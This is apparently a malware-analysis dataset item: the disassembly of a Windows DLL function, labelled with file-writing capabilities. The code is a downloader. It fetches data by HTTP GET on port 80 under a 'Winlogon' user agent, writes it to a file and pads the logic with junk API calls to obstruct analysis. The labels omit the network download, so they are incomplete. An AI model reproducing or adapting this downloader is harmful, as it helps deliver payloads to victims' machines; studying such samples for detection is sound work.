Function at 0x10001000
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
sub esp, 0x624
or dword [esp + 0xc], 0xffffffff
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebx, ebx
push ebx
call esi
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
je 0x10001026
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
push 0x4000000
push 2
push ebx
push ebx
push 0xc0000000
push dword [esp + 0x654]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
mov dword [esp + 0x10], eax
call esi
test eax, eax
je 0x10001062
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
cmp dword [esp + 0xc], 0xffffffff
je 0x10001356
push ebx
call esi
test eax, eax
je 0x10001089
push ebx
call ebp
push edi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
lea eax, [esp + 0x130]
push str.Winl
push eax
call fcn.100081d0
lea eax, [esp + 0x138]
push str.ogon
push eax
call fcn.100081e0
add esp, 0x10
push ebx
push ebx
push ebx
push 3
lea eax, [esp + 0x140]
push eax
call dword [0x1000a4fc]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x24], edi
je 0x10001339
push ebx
call esi
test eax, eax
je 0x100010ee
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push 1
push ebx
push 3
push ebx
push ebx
push 0x50
push dword [esp + 0x650]
push edi
call dword [0x1000a500]
mov edi, eax
push ebx
mov dword [esp + 0x24], edi
call esi
test eax, eax
je 0x10001127
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
cmp edi, ebx
je 0x1000132f
push ebx
mov byte [esp + 0x30], 0x47
mov byte [esp + 0x31], 0x45
call esi
test eax, eax
je 0x10001155
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push 1
push 0x84000000
push ebx
push ebx
push ebx
push dword [esp + 0x650]
lea eax, [esp + 0x44]
push eax
push edi
mov byte [esp + 0x4e], 0x54
mov byte [esp + 0x4f], bl
call dword [0x1000a50c]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x18], edi
je 0x10001309
push ebx
call esi
test eax, eax
je 0x100011a5
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x1000a510]
test eax, eax
je 0x100012ff
mov byte [esp + 0x234], bl
xor eax, eax
mov ecx, 0xff
lea edi, [esp + 0x235]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
call esi
test eax, eax
je 0x100011ee
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
lea eax, [esp + 0x14]
push eax
push 0x400
lea eax, [esp + 0x23c]
push eax
push dword [esp + 0x24]
call dword [0x1000a504]
test eax, eax
je 0x100012d8
push ebx
call esi
test eax, eax
je 0x1000122e
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
mov edi, dword [esp + 0x10]
push ebx
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x1c]
lea eax, [esp + 0x240]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100012ba
cmp dword [esp + 0x14], ebx
jne 0x100011e4
push ebx
call esi
test eax, eax
je 0x10001275
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
mov dword [esp + 0x20], edi
call esi
test eax, eax
je 0x100012a6
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
jmp 0x100012e3
push ebx
call esi
test eax, eax
je 0x100012c4
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
jmp 0x100012dc
mov edi, dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
test eax, eax
je 0x100012ed
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push dword [esp + 0x18]
call dword [0x1000a508]
push ebx
call esi
test eax, eax
je 0x10001313
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push dword [esp + 0x20]
call dword [0x1000a508]
push dword [esp + 0x24]
call dword [0x1000a508]
push ebx
call esi
test eax, eax
pop edi
je 0x10001344
push ebx
call ebp
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
push ebx
call ebp
push ebx
call esi
mov eax, dword [esp + 0x18]
pop esi
pop ebp
pop ebx
add esp, 0x624
ret